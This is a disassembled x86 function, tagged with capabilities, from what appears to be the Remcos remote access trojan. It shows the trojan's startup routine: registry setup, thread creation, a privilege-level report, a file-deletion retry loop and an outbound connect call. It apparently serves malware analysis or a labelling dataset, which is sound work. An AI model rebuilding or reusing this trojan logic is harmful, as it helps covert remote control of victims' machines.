Function at 0x4099dd
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0xfc
mov dword [0x464a8c], eax
push ebx
push esi
push edi
call fcn.00413e52
push 0x104
push 0x464a90
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x40]
call fcn.00409e06
sub esp, 0x18
mov ecx, esp
push 0x466f1c
call fcn.004021d0
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.004021d0
lea ecx, [esp + 0x54]
call fcn.004134ec
add esp, 0x30
push eax
call fcn.0040a1df
lea ecx, [esp + 0x24]
call fcn.004034ea
mov ecx, dword [ebp + 0x10]
cmp byte [ecx], 0x2d
jne 0x409aae
cmp byte [ecx + 1], 0x6c
jne 0x409aae
movzx eax, byte [ecx + 2]
test al, al
jne 0x409aae
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x68]
call fcn.0040a285
push 0x34
mov ecx, 0x466ef8
call fcn.004034bf
mov ecx, eax
call fcn.00402018
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0040b60e
lea ecx, [esp + 0x58]
call fcn.0040a236
lea ecx, [esp + 0x58]
call fcn.00409df3
xor esi, esi
inc esi
jmp 0x409b32
mov ebx, 0x466ef8
push 3
mov ecx, ebx
call fcn.004034bf
push str._nF2
push 0xe
mov ecx, ebx
call fcn.004034bf
push eax
mov edx, str.Software_
lea ecx, [esp + 0x14]
call fcn.00402a81
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.00406371
pop ecx
push eax
mov ecx, 0x466e98
call fcn.0040208b
lea ecx, [esp + 0x24]
call fcn.00402081
lea ecx, [esp + 0xc]
call fcn.00402081
push 0xe
mov ecx, ebx
call fcn.004034bf
push eax
mov ecx, 0x466ec8
call fcn.00402067
push 0x458e30
mov ecx, 0x466f34
call fcn.00403f0f
call fcn.00407ff6
test eax, eax
jne 0x409b46
push 2
pop esi
lea ecx, [esp + 0x40]
call fcn.00402081
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [0x466a0c]
test eax, eax
je 0x409b51
call eax
call fcn.00412b0e
mov eax, dword [0x466a18]
test eax, eax
je 0x409b66
call eax
mov dword [0x4639b0], eax
push 0xb
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
push eax
mov ecx, 0x466e68
call fcn.00405c76
push 4
mov ecx, ebx
call fcn.004034bf
push 5
mov ecx, ebx
call fcn.004034bf
push 8
mov ecx, ebx
call fcn.004034bf
push 3
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
cmp byte [eax], 0
je 0x409c18
push 0x30
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x409bc4
sub eax, edx
sar eax, 1
je 0x409c18
push 9
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
push 0x30
mov ecx, ebx
mov esi, eax
call fcn.004034bf
mov ecx, eax
call fcn.00402018
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.00408816
pop ecx
push eax
mov ecx, 0x466eb0
call fcn.00405c7f
lea ecx, [esp + 0xc]
call fcn.004034ef
push 1
push 0x34
mov ecx, ebx
call fcn.004034bf
mov ecx, eax
call fcn.00402018
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402168
push str.licence
mov ecx, 0x466e98
call fcn.00402018
mov edx, eax
call fcn.0040c9fc
add esp, 0x20
mov ecx, ebx
push 0x28
call fcn.004034bf
mov ecx, eax
call fcn.00402018
push eax
call fcn.00432396
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x464a81], al
pop ecx
cmp al, 2
jne 0x409c78
mov cl, 1
jmp 0x409c7e
cmp al, 1
jne 0x409c8f
xor cl, cl
call fcn.00414044
push edi
push edi
push edi
push 0x41487e
push edi
push edi
call esi
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402168
sub esp, 0x18
mov ebx, 0x458420
mov ecx, esp
push ebx
call fcn.00402168
call fcn.00412d34
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00412e52
push eax
mov ecx, 0x466f04
call fcn.00405c7f
lea ecx, [esp + 0xc]
call fcn.004034ef
mov eax, dword [0x466a10]
test eax, eax
je 0x409cdf
push edi
call eax
push edi
push edi
push edi
push 0x409eba
push edi
push edi
call esi
mov eax, dword [0x4639b0]
sub eax, edi
je 0x409d00
sub eax, 1
jne 0x409d3a
push str.Administrator
jmp 0x409d05
push str.User
lea ecx, [esp + 0x10]
call fcn.00402168
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.00402a5d
sub esp, 0x14
mov ecx, esp
push ebx
call fcn.00402168
call fcn.00412d34
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00402081
mov ebx, 0x466e98
push 0x458e80
mov ecx, ebx
call fcn.00402018
mov edx, eax
call fcn.0040c786
pop ecx
test al, al
je 0x409de8
push ecx
mov edx, ebx
lea ecx, [esp + 0x10]
call fcn.0041338d
mov ecx, eax
call fcn.00404386
push eax
lea ecx, [esp + 0x2c]
call fcn.0040c8a2
pop ecx
pop ecx
lea ecx, [esp + 0xc]
call fcn.004034ef
lea ecx, [esp + 0x24]
call fcn.00404386
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x409dab
cmp edi, 0xa
jge 0x409db2
push 0xa
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x24]
call fcn.00404386
push eax
call esi
test eax, eax
je 0x409d94
push 0x458e84
mov edx, ebx
lea ecx, [esp + 0x10]
call fcn.0041338d
mov ecx, eax
call fcn.00404386
mov edx, eax
mov ecx, connect
call fcn.0040cc3e
pop ecx
lea ecx, [esp + 0xc]
call fcn.004034ef
lea ecx, [esp + 0x24]
call fcn.004034ef
call fcn.00408b04
call fcn.0040e189
int3